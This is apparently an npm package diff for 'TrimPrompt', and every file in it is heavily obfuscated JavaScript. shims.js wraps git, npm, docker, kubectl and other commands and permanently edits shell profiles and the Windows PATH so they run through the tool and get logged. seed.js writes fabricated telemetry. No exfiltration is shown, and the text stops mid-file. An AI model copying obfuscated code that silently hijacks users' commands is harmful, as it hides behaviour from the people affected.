_0x3e47f6=['length','Successfully\x20installed','\x20more\x20failures\x20truncated','\x20skipped','split','\x20failed','startsWith','push','249028yaNVKN','===\x20FAILURES\x20===','passed','defineProperty','235480yMEssD','\x20xpassed\x20(warning!)','\x0aFailures:','3854001AYcWbL','___','filterPipInstall','108MqKVEi','__esModule','Pytest:\x20All\x20tests\x20passed','AssertionError:','===\x20short\x20test\x20summary\x20info\x20===','filter','.py:','failed','replace','slice','14zkbdFd','\x20xfailed','574842TgazNL','===','\x20\x20...\x20+','\x20\x20\x20\x20...\x20(','\x20lines\x20of\x20stacktrace\x20truncated)','E\x20\x20\x20','.\x20[FAIL]\x20','\x20\x20\x20\x20','join','match','\x20in\x20','Pytest:\x20','\x20passed','includes','13797405FhHzeX','trim','4221088LKIxxp','1636988JHbTzr','Downloading','===\x20ERRORS\x20===','Requirement\x20already\x20satisfied'];a0_0x6240=function(){return _0x3e47f6;};return a0_0x6240();}
|
package/mcp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x54c50b=a0_0x235b;(function(_0x2dc762,_0x6dcf5b){const _0x3c3f14=a0_0x235b,_0x4c70d4=_0x2dc762();while(!![]){try{const _0x224bf4=parseInt(_0x3c3f14(0x15a))/0x1+-parseInt(_0x3c3f14(0x154))/0x2*(-parseInt(_0x3c3f14(0x13d))/0x3)+parseInt(_0x3c3f14(0x12b))/0x4*(parseInt(_0x3c3f14(0x131))/0x5)+parseInt(_0x3c3f14(0x13a))/0x6+parseInt(_0x3c3f14(0x13f))/0x7+parseInt(_0x3c3f14(0x138))/0x8*(parseInt(_0x3c3f14(0x12f))/0x9)+-parseInt(_0x3c3f14(0x134))/0xa;if(_0x224bf4===_0x6dcf5b)break;else _0x4c70d4['push'](_0x4c70d4['shift']());}catch(_0x2c449d){_0x4c70d4['push'](_0x4c70d4['shift']());}}}(a0_0x42ca,0x3faeb));function a0_0x235b(_0x9db76a,_0x3c30ad){_0x9db76a=_0x9db76a-0x12b;const _0x42caca=a0_0x42ca();let _0x235b4b=_0x42caca[_0x9db76a];return _0x235b4b;}var __createBinding=this&&this[a0_0x54c50b(0x132)]||(Object[a0_0x54c50b(0x15c)]?function(_0x11c7a9,_0x1e22c0,_0x54701b,_0x1c21e1){const _0x3da4f7=a0_0x54c50b;if(_0x1c21e1===undefined)_0x1c21e1=_0x54701b;var _0x591f43=Object[_0x3da4f7(0x144)](_0x1e22c0,_0x54701b);(!_0x591f43||(_0x3da4f7(0x155)in _0x591f43?!_0x1e22c0[_0x3da4f7(0x13e)]:_0x591f43[_0x3da4f7(0x140)]||_0x591f43[_0x3da4f7(0x157)]))&&(_0x591f43={'enumerable':!![],'get':function(){return _0x1e22c0[_0x54701b];}}),Object['defineProperty'](_0x11c7a9,_0x1c21e1,_0x591f43);}:function(_0x2354cd,_0x4ce6dd,_0x4bd43e,_0x3af808){if(_0x3af808===undefined)_0x3af808=_0x4bd43e;_0x2354cd[_0x3af808]=_0x4ce6dd[_0x4bd43e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x54c50b(0x15c)]?function(_0x475550,_0x324303){const _0x5645b6=a0_0x54c50b;Object['defineProperty'](_0x475550,_0x5645b6(0x14f),{'enumerable':!![],'value':_0x324303});}:function(_0x212916,_0x471e3d){const _0x541250=a0_0x54c50b;_0x212916[_0x541250(0x14f)]=_0x471e3d;}),__importStar=this&&this['__importStar']||(function(){var _0x157e7b=function(_0xaea26a){const _0x2fd262=a0_0x235b;return _0x157e7b=Object[_0x2fd262(0x151)]||function(_0x38afe8){const _0x39deb7=_0x2fd262;var _0x1f9f64=[];for(var _0x417af0 in _0x38afe8)if(Object[_0x39deb7(0x15d)]['hasOwnProperty'][_0x39deb7(0x139)](_0x38afe8,_0x417af0))_0x1f9f64[_0x1f9f64[_0x39deb7(0x149)]]=_0x417af0;return _0x1f9f64;},_0x157e7b(_0xaea26a);};return function(_0x21f177){const _0x496ae5=a0_0x235b;if(_0x21f177&&_0x21f177[_0x496ae5(0x13e)])return _0x21f177;var _0x28be1d={};if(_0x21f177!=null){for(var _0x1e88d0=_0x157e7b(_0x21f177),_0x14a244=0x0;_0x14a244<_0x1e88d0[_0x496ae5(0x149)];_0x14a244++)if(_0x1e88d0[_0x14a244]!=='default')__createBinding(_0x28be1d,_0x21f177,_0x1e88d0[_0x14a244]);}return __setModuleDefault(_0x28be1d,_0x21f177),_0x28be1d;};}());Object[a0_0x54c50b(0x135)](exports,a0_0x54c50b(0x13e),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;function a0_0x42ca(){const _0x553445=['create','prototype','close','getConfig','48cGPRNw','child_process','stdin','mcp\x20tool\x20(id:\x20','1319931FApGwX','error','215685hMtcqo','__createBinding','trim','19901330cdsSgA','defineProperty','message','inherit','8jmzIHw','call','2940582vHEuyv','./filters','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','1998LJSktK','__esModule','2841636UAAPTB','writable','write','jsonrpc','compressOutput','getOwnPropertyDescriptor','createInterface','readline','./tracker','tracker','length','stdout','pipe','2.0','parse','text','default','logExecution','getOwnPropertyNames','mcp-tool-call','type','1356UlATlq','get','string','configurable','exit','content','239080cVczeu','isArray'];a0_0x42ca=function(){return _0x553445;};return a0_0x42ca();}const child_process_1=require(a0_0x54c50b(0x12c)),readline=__importStar(require(a0_0x54c50b(0x146))),filters_1=require(a0_0x54c50b(0x13b)),tracker_1=require(a0_0x54c50b(0x147));function runMcpProxy(_0x1b2c8c,_0x57311b){const _0x1c2ede=a0_0x54c50b,_0x5ca77b=(0x0,child_process_1['spawn'])(_0x1b2c8c,_0x57311b,{'stdio':[_0x1c2ede(0x14b),'pipe',_0x1c2ede(0x137)]});process['stdin']['pipe'](_0x5ca77b[_0x1c2ede(0x12d)]);const _0x410018=readline[_0x1c2ede(0x145)]({'input':_0x5ca77b[_0x1c2ede(0x14a)],'terminal':![]});_0x410018['on']('line',_0x500665=>{const _0x1f4228=_0x1c2ede;try{const _0x176926=JSON[_0x1f4228(0x14d)](_0x500665);if(_0x176926&&_0x176926[_0x1f4228(0x142)]===_0x1f4228(0x14c)&&_0x176926['id']!==undefined&&_0x176926['result']&&Array[_0x1f4228(0x15b)](_0x176926['result'][_0x1f4228(0x159)])){let _0x51d395=![];for(const _0x1a26e3 of _0x176926['result'][_0x1f4228(0x159)]){if(_0x1a26e3[_0x1f4228(0x153)]==='text'&&typeof _0x1a26e3['text']===_0x1f4228(0x156)&&_0x1a26e3[_0x1f4228(0x14e)][_0x1f4228(0x133)]()[_0x1f4228(0x149)]>0x0){const _0x5d88cb=_0x1a26e3['text'],_0x191ab0=(0x0,filters_1[_0x1f4228(0x143)])(_0x1f4228(0x152),_0x5d88cb,'',tracker_1['tracker'][_0x1f4228(0x15f)]()['redaction_enabled']);tracker_1[_0x1f4228(0x148)][_0x1f4228(0x150)](_0x1f4228(0x12e)+_0x176926['id']+')',_0x5d88cb,_0x191ab0,0x0),_0x1a26e3[_0x1f4228(0x14e)]=_0x191ab0,_0x51d395=!![];}}_0x51d395?process['stdout'][_0x1f4228(0x141)](JSON['stringify'](_0x176926)+'\x0a'):process[_0x1f4228(0x14a)][_0x1f4228(0x141)](_0x500665+'\x0a');}else process[_0x1f4228(0x14a)]['write'](_0x500665+'\x0a');}catch{process[_0x1f4228(0x14a)]['write'](_0x500665+'\x0a');}}),_0x5ca77b['on'](_0x1c2ede(0x15e),_0x327a85=>{process['exit'](_0x327a85||0x0);}),_0x5ca77b['on'](_0x1c2ede(0x130),_0x4ccaea=>{const _0x3cbd25=_0x1c2ede;console[_0x3cbd25(0x130)](_0x3cbd25(0x13c)+_0x4ccaea[_0x3cbd25(0x136)]),process[_0x3cbd25(0x158)](0x1);});}
|
package/package.json
CHANGED
package/redactor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';const a0_0x5e93c3=a0_0x151e;(function(_0x3102d3,_0x55f72d){const _0x1f92d3=a0_0x151e,_0x4dfab8=_0x3102d3();while(!![]){try{const _0x44bb36=parseInt(_0x1f92d3(0xc4))/0x1*(-parseInt(_0x1f92d3(0xc3))/0x2)+-parseInt(_0x1f92d3(0xb6))/0x3+parseInt(_0x1f92d3(0xae))/0x4*(-parseInt(_0x1f92d3(0xbc))/0x5)+-parseInt(_0x1f92d3(0xb0))/0x6+parseInt(_0x1f92d3(0xb3))/0x7+-parseInt(_0x1f92d3(0xbd))/0x8+parseInt(_0x1f92d3(0xbb))/0x9*(parseInt(_0x1f92d3(0xaf))/0xa);if(_0x44bb36===_0x55f72d)break;else _0x4dfab8['push'](_0x4dfab8['shift']());}catch(_0xd3d27f){_0x4dfab8['push'](_0x4dfab8['shift']());}}}(a0_0x8262,0xece77));function a0_0x151e(_0x36005b,_0x3dc0da){_0x36005b=_0x36005b-0xae;const _0x8262fa=a0_0x8262();let _0x151ecd=_0x8262fa[_0x36005b];return _0x151ecd;}Object[a0_0x5e93c3(0xb9)](exports,a0_0x5e93c3(0xb2),{'value':!![]}),exports['redactor']=exports[a0_0x5e93c3(0xbf)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x44a24a=a0_0x5e93c3;this[_0x44a24a(0xc1)]();}[a0_0x5e93c3(0xc1)](){const _0x14de86=a0_0x5e93c3;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x14de86(0xc2),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':_0x14de86(0xc0),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':_0x14de86(0xb8),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x14de86(0xba)}];}[a0_0x5e93c3(0xb4)](_0x3a7e3e){const _0xb849b2=a0_0x5e93c3;let _0x5bfe45=_0x3a7e3e;for(const _0x304399 of this[_0xb849b2(0xb5)]){_0x5bfe45=_0x5bfe45['replace'](_0x304399[_0xb849b2(0xbe)],_0x304399[_0xb849b2(0xb7)]);}return _0x5bfe45;}}function a0_0x8262(){const _0x285701=['2708ZbCRjZ','1514510FNEndT','6379812jZOxnR','redactor','__esModule','2189838dZzLdo','redact','rules','2154486rzGViB','replacement','Email\x20Address','defineProperty','[REDACTED_EMAIL]','297ZvmQMS','4115CDBpaa','8574792oZfqbf','regex','Redactor','IPv4\x20Address','loadDefaultRules','API\x20Key\x20or\x20Password','1606RnHsKA','1158MUIlWi'];a0_0x8262=function(){return _0x285701;};return a0_0x8262();}exports[a0_0x5e93c3(0xbf)]=Redactor,exports[a0_0x5e93c3(0xb1)]=new Redactor();
|
package/seed.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x4f66ef=a0_0x30af;(function(_0x1d5ff0,_0x36aaeb){const _0x5d20ec=a0_0x30af,_0x457374=_0x1d5ff0();while(!![]){try{const _0x58cadd=-parseInt(_0x5d20ec(0x13f))/0x1*(-parseInt(_0x5d20ec(0x151))/0x2)+parseInt(_0x5d20ec(0x157))/0x3+parseInt(_0x5d20ec(0x141))/0x4*(parseInt(_0x5d20ec(0x149))/0x5)+parseInt(_0x5d20ec(0x144))/0x6+parseInt(_0x5d20ec(0x150))/0x7+-parseInt(_0x5d20ec(0x14e))/0x8*(-parseInt(_0x5d20ec(0x143))/0x9)+parseInt(_0x5d20ec(0x142))/0xa*(-parseInt(_0x5d20ec(0x13e))/0xb);if(_0x58cadd===_0x36aaeb)break;else _0x457374['push'](_0x457374['shift']());}catch(_0x232e8b){_0x457374['push'](_0x457374['shift']());}}}(a0_0x1adf,0x6707f));function a0_0x1adf(){const _0x4c17e3=['2241827REtkBy','21370SpQfQf','gpt-4o','tracker','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','claude-3-opus','Test\x20suite\x20run\x20starting...\x0a','369135ezUOGX','./tracker','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','defineProperty','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','pytest\x20tests/app','12256486nlJbWP','2NgdLEF','[INFO]\x20Building\x20modules...\x0a','4rnrkSD','10tuNCvL','342rXCNpY','1722666bptUaF','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','Compilation\x20Output:\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Database\x20successfully\x20seeded!','3661590DNPROw','repeat','npm\x20run\x20build','gemini-1-5-pro','added\x201420\x20packages\x20in\x2014s\x0a','10976tGcWcC','log'];a0_0x1adf=function(){return _0x4c17e3;};return a0_0x1adf();}function a0_0x30af(_0x19a816,_0x56c194){_0x19a816=_0x19a816-0x13b;const _0x1adf9b=a0_0x1adf();let _0x30afae=_0x1adf9b[_0x19a816];return _0x30afae;}Object[a0_0x4f66ef(0x15a)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x4f66ef(0x158));console['log'](a0_0x4f66ef(0x13c)),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x155),tracker_1[a0_0x4f66ef(0x153)]['logExecution'](a0_0x4f66ef(0x14b),a0_0x4f66ef(0x146)+a0_0x4f66ef(0x140)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x152),tracker_1[a0_0x4f66ef(0x153)][a0_0x4f66ef(0x13b)](a0_0x4f66ef(0x13d),a0_0x4f66ef(0x156)+'test_auth.py\x20PASS\x0a'+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4f66ef(0x14a)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.',0x0),process.env.TRIMPROMPT_MODEL=a0_0x4f66ef(0x14c),tracker_1[a0_0x4f66ef(0x153)][a0_0x4f66ef(0x13b)]('docker\x20build\x20.',a0_0x4f66ef(0x159)+a0_0x4f66ef(0x147)+a0_0x4f66ef(0x154)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x4f66ef(0x14d)[a0_0x4f66ef(0x14a)](0x3)+'Successfully\x20built\x20image.',a0_0x4f66ef(0x145),0x0),console[a0_0x4f66ef(0x14f)](a0_0x4f66ef(0x148));
|
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x120aaa=a0_0x45df;(function(_0x29dc4d,_0x26378e){const _0x6ef82a=a0_0x45df,_0x66c65c=_0x29dc4d();while(!![]){try{const _0x5a27c2=parseInt(_0x6ef82a(0xfe))/0x1*(-parseInt(_0x6ef82a(0xd1))/0x2)+parseInt(_0x6ef82a(0xf0))/0x3+parseInt(_0x6ef82a(0xd2))/0x4+-parseInt(_0x6ef82a(0xda))/0x5*(-parseInt(_0x6ef82a(0xb5))/0x6)+parseInt(_0x6ef82a(0xe9))/0x7+-parseInt(_0x6ef82a(0xbd))/0x8*(-parseInt(_0x6ef82a(0xcb))/0x9)+parseInt(_0x6ef82a(0xd9))/0xa*(-parseInt(_0x6ef82a(0xc6))/0xb);if(_0x5a27c2===_0x26378e)break;else _0x66c65c['push'](_0x66c65c['shift']());}catch(_0x196536){_0x66c65c['push'](_0x66c65c['shift']());}}}(a0_0x1d32,0xa170d));function a0_0x45df(_0x90c42b,_0x34b1ed){_0x90c42b=_0x90c42b-0xb4;const _0x1d32fa=a0_0x1d32();let _0x45dfb8=_0x1d32fa[_0x90c42b];return _0x45dfb8;}function a0_0x1d32(){const _0x288d06=['35JqsXey','existsSync','755','\x20commands.\x0a\x0a','@echo\x20off\x0atrim\x20','path','platform','mkdirSync','pip3','#!/bin/sh\x0aexec\x20trim\x20',':$PATH\x22','trim\x20','utf8','homedir','toString','1194578MMKyEj','shims','writable','npm','glab','__esModule','hasOwnProperty','1149636lpeAJy','unlinkSync','default','writeFileSync','Failed\x20to\x20uninstall\x20shims:\x20','join','child_process','get','prototype','includes','yarn','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','call','pip','6JzjufL','rmdirSync','pnpm','1122222OtHIng','powershell\x20-Command\x20\x22','\x20%*\x0a','npx','appendFileSync','trim','win32','length','56gsgiVL','.bash_profile','uninstallShims','__createBinding','.profile','kubectl','__setModuleDefault','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x20$args\x0a','1073501xqJLWx','__importStar','installShims','.trimprompt','\x20\x22$@\x22\x0a','1185651QIpTJM',':$PATH\x22\x0a','create','.zshrc','.cmd','.ps1','227702ISkUFu','1653192KhAkgz','Failed\x20to\x20install\x20shims:\x20','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','defineProperty','pytest','message','chmodSync','190yviqgX'];a0_0x1d32=function(){return _0x288d06;};return a0_0x1d32();}var __createBinding=this&&this[a0_0x120aaa(0xc0)]||(Object[a0_0x120aaa(0xcd)]?function(_0x478034,_0x364c8a,_0x3861cd,_0x4ca7a1){const _0x286243=a0_0x120aaa;if(_0x4ca7a1===undefined)_0x4ca7a1=_0x3861cd;var _0x47e4b7=Object['getOwnPropertyDescriptor'](_0x364c8a,_0x3861cd);(!_0x47e4b7||(_0x286243(0xf7)in _0x47e4b7?!_0x364c8a[_0x286243(0xee)]:_0x47e4b7[_0x286243(0xeb)]||_0x47e4b7['configurable']))&&(_0x47e4b7={'enumerable':!![],'get':function(){return _0x364c8a[_0x3861cd];}}),Object[_0x286243(0xd5)](_0x478034,_0x4ca7a1,_0x47e4b7);}:function(_0xfdb3f9,_0x5d45f0,_0x4f6d6,_0x33e46e){if(_0x33e46e===undefined)_0x33e46e=_0x4f6d6;_0xfdb3f9[_0x33e46e]=_0x5d45f0[_0x4f6d6];}),__setModuleDefault=this&&this[a0_0x120aaa(0xc3)]||(Object[a0_0x120aaa(0xcd)]?function(_0x2aa8db,_0xf917af){const _0x50f9de=a0_0x120aaa;Object[_0x50f9de(0xd5)](_0x2aa8db,_0x50f9de(0xf2),{'enumerable':!![],'value':_0xf917af});}:function(_0x287947,_0x20c379){const _0x39bbad=a0_0x120aaa;_0x287947[_0x39bbad(0xf2)]=_0x20c379;}),__importStar=this&&this[a0_0x120aaa(0xc7)]||(function(){var _0x451ee8=function(_0x4ea0d0){return _0x451ee8=Object['getOwnPropertyNames']||function(_0xda0bd){const _0x48c303=a0_0x45df;var _0x46fb63=[];for(var _0x47043e in _0xda0bd)if(Object[_0x48c303(0xf8)][_0x48c303(0xef)][_0x48c303(0xfc)](_0xda0bd,_0x47043e))_0x46fb63[_0x46fb63['length']]=_0x47043e;return _0x46fb63;},_0x451ee8(_0x4ea0d0);};return function(_0x25d5eb){const _0x58a498=a0_0x45df;if(_0x25d5eb&&_0x25d5eb[_0x58a498(0xee)])return _0x25d5eb;var _0x4e77e4={};if(_0x25d5eb!=null){for(var _0x1122ae=_0x451ee8(_0x25d5eb),_0x1f242a=0x0;_0x1f242a<_0x1122ae[_0x58a498(0xbc)];_0x1f242a++)if(_0x1122ae[_0x1f242a]!==_0x58a498(0xf2))__createBinding(_0x4e77e4,_0x25d5eb,_0x1122ae[_0x1f242a]);}return __setModuleDefault(_0x4e77e4,_0x25d5eb),_0x4e77e4;};}());Object['defineProperty'](exports,a0_0x120aaa(0xee),{'value':!![]}),exports[a0_0x120aaa(0xc8)]=installShims,exports[a0_0x120aaa(0xbf)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x120aaa(0xdf))),os=__importStar(require('os')),SHIMMED_COMMANDS=['git','gh',a0_0x120aaa(0xed),'cargo',a0_0x120aaa(0xec),a0_0x120aaa(0xb4),a0_0x120aaa(0xb8),a0_0x120aaa(0xfa),a0_0x120aaa(0xc2),'docker',a0_0x120aaa(0xd6),a0_0x120aaa(0xfd),a0_0x120aaa(0xe2),'go'];function installShims(){const _0x30f543=a0_0x120aaa,_0x36e365=path[_0x30f543(0xf5)](os[_0x30f543(0xe7)](),_0x30f543(0xc9),_0x30f543(0xea));try{!fs[_0x30f543(0xdb)](_0x36e365)&&fs[_0x30f543(0xe1)](_0x36e365,{'recursive':!![]});const _0x1827ba=os[_0x30f543(0xe0)]()===_0x30f543(0xbb);for(const _0x3cf30b of SHIMMED_COMMANDS){if(_0x1827ba){const _0x43bdff=path['join'](_0x36e365,_0x3cf30b+_0x30f543(0xcf)),_0x298630=_0x30f543(0xde)+_0x3cf30b+_0x30f543(0xb7);fs[_0x30f543(0xf3)](_0x43bdff,_0x298630,_0x30f543(0xe6));const _0x3de19f=path[_0x30f543(0xf5)](_0x36e365,_0x3cf30b+_0x30f543(0xd0)),_0x388792=_0x30f543(0xe5)+_0x3cf30b+_0x30f543(0xc5);fs[_0x30f543(0xf3)](_0x3de19f,_0x388792,_0x30f543(0xe6));}else{const _0x3fef95=path[_0x30f543(0xf5)](_0x36e365,_0x3cf30b),_0x5cf1bb=_0x30f543(0xe3)+_0x3cf30b+_0x30f543(0xca);fs[_0x30f543(0xf3)](_0x3fef95,_0x5cf1bb,_0x30f543(0xe6)),fs[_0x30f543(0xd8)](_0x3fef95,_0x30f543(0xdc));}}let _0x434308=![],_0x1235c0='';if(_0x1827ba)try{const {execSync:_0x26f9b0}=require(_0x30f543(0xf6)),_0x4bef5d='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x5f09c7=_0x26f9b0(_0x30f543(0xb6)+_0x4bef5d+'\x22')[_0x30f543(0xe8)]()[_0x30f543(0xba)]();if(!_0x5f09c7[_0x30f543(0xf9)](_0x36e365)){const _0x1b3ffa=_0x36e365+';'+_0x5f09c7,_0x273b85='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1b3ffa+'\x27,\x20\x27User\x27)';_0x26f9b0(_0x30f543(0xb6)+_0x273b85+'\x22'),_0x434308=!![];}else _0x434308=!![];}catch(_0x47d62b){_0x1235c0='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x36e365;}else try{const _0x4af02d='export\x20PATH=\x22'+_0x36e365+_0x30f543(0xcc),_0x29c0fd=os[_0x30f543(0xe7)](),_0x7cb15e=['.bashrc',_0x30f543(0xce),_0x30f543(0xbe),_0x30f543(0xc1)];let _0xc58e2b=![];for(const _0x368054 of _0x7cb15e){const _0x1ec665=path[_0x30f543(0xf5)](_0x29c0fd,_0x368054);if(fs[_0x30f543(0xdb)](_0x1ec665)){const _0x51aa94=fs['readFileSync'](_0x1ec665,_0x30f543(0xe6));!_0x51aa94[_0x30f543(0xf9)](_0x36e365)?(fs['appendFileSync'](_0x1ec665,_0x30f543(0xd4)+_0x4af02d),_0xc58e2b=!![]):_0xc58e2b=!![];}}if(!_0xc58e2b){const _0x4a6674=path[_0x30f543(0xf5)](_0x29c0fd,'.bashrc');fs[_0x30f543(0xb9)](_0x4a6674,_0x30f543(0xd4)+_0x4af02d);}_0x434308=!![];}catch(_0x4b9f7d){_0x1235c0='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x36e365+_0x30f543(0xe4);}const _0x340453=_0x30f543(0xfb)+SHIMMED_COMMANDS['length']+_0x30f543(0xdd),_0xb36212=_0x434308?_0x340453+_0x30f543(0xc4):_0x340453+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x1235c0;return{'success':!![],'pathDir':_0x36e365,'message':_0xb36212};}catch(_0x5ee259){return{'success':![],'pathDir':_0x36e365,'message':_0x30f543(0xd3)+_0x5ee259[_0x30f543(0xd7)]};}}function uninstallShims(){const _0x37903f=a0_0x120aaa,_0x5ae990=path[_0x37903f(0xf5)](os['homedir'](),'.trimprompt','shims');try{if(fs[_0x37903f(0xdb)](_0x5ae990)){const _0x246364=fs['readdirSync'](_0x5ae990);for(const _0x55a0ba of _0x246364){fs[_0x37903f(0xf1)](path['join'](_0x5ae990,_0x55a0ba));}fs[_0x37903f(0xff)](_0x5ae990);}return{'success':!![],'message':'TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.'};}catch(_0x25005f){return{'success':![],'message':_0x37903f(0xf4)+_0x25005f[_0x37903f(0xd7)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x4f7807=a0_0x19a1;function a0_0x19a1(_0x3ee85f,_0x545376){_0x3ee85f=_0x3ee85f-0xa3;const _0x5dffc4=a0_0x5dff();let _0x19a130=_0x5dffc4[_0x3ee85f];return _0x19a130;}(function(_0x52ee64,_0x252141){const _0x51ecf8=a0_0x19a1,_0x12eddb=_0x52ee64();while(!![]){try{const _0x4c82cb=parseInt(_0x51ecf8(0xc5))/0x1+parseInt(_0x51ecf8(0xcd))/0x2*(-parseInt(_0x51ecf8(0xbc))/0x3)+-parseInt(_0x51ecf8(0xc2))/0x4+parseInt(_0x51ecf8(0xdd))/0x5+parseInt(_0x51ecf8(0xdf))/0x6*(parseInt(_0x51ecf8(0xd2))/0x7)+-parseInt(_0x51ecf8(0xe5))/0x8*(parseInt(_0x51ecf8(0xca))/0x9)+parseInt(_0x51ecf8(0xc6))/0xa*(parseInt(_0x51ecf8(0xa3))/0xb);if(_0x4c82cb===_0x252141)break;else _0x12eddb['push'](_0x12eddb['shift']());}catch(_0x4a985c){_0x12eddb['push'](_0x12eddb['shift']());}}}(a0_0x5dff,0x9a3d7));Object[a0_0x4f7807(0xe6)](exports,a0_0x4f7807(0xb6),{'value':!![]});const tracker_1=require(a0_0x4f7807(0xc0));console[a0_0x4f7807(0xb9)](a0_0x4f7807(0xd7));const models=[a0_0x4f7807(0xe1),a0_0x4f7807(0xe0),a0_0x4f7807(0xb2),a0_0x4f7807(0xbd),'gemini-1-5-flash',a0_0x4f7807(0xb7)],commands=[{'cmd':a0_0x4f7807(0xba),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'['repeat'](0x32),'comp':a0_0x4f7807(0xbf),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x4f7807(0xb3)+a0_0x4f7807(0xd0)[a0_0x4f7807(0xa5)](0x28)+a0_0x4f7807(0xda),'comp':a0_0x4f7807(0xcb),'exitCode':0x0},{'cmd':a0_0x4f7807(0xcf),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4f7807(0xb8)+a0_0x4f7807(0xbb),'comp':a0_0x4f7807(0xe4),'exitCode':0x0},{'cmd':a0_0x4f7807(0xc4),'raw':a0_0x4f7807(0xce)+a0_0x4f7807(0xbe)+a0_0x4f7807(0xa4)+a0_0x4f7807(0xb0),'comp':a0_0x4f7807(0xdb),'exitCode':0x0},{'cmd':'kubectl\x20get\x20pods\x20-n\x20production','raw':a0_0x4f7807(0xc7)+a0_0x4f7807(0xb4)+a0_0x4f7807(0xad)+a0_0x4f7807(0xd9)+a0_0x4f7807(0xaf),'comp':a0_0x4f7807(0xd6),'exitCode':0x0},{'cmd':a0_0x4f7807(0xdc),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x4f7807(0xae)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x4f7807(0xd1),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x4f7807(0xc8),'comp':a0_0x4f7807(0xc1),'exitCode':0x0},{'cmd':a0_0x4f7807(0xa6),'raw':a0_0x4f7807(0xa8)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x4f7807(0xd3),'comp':a0_0x4f7807(0xb1),'exitCode':0x0}],startTime=Date[a0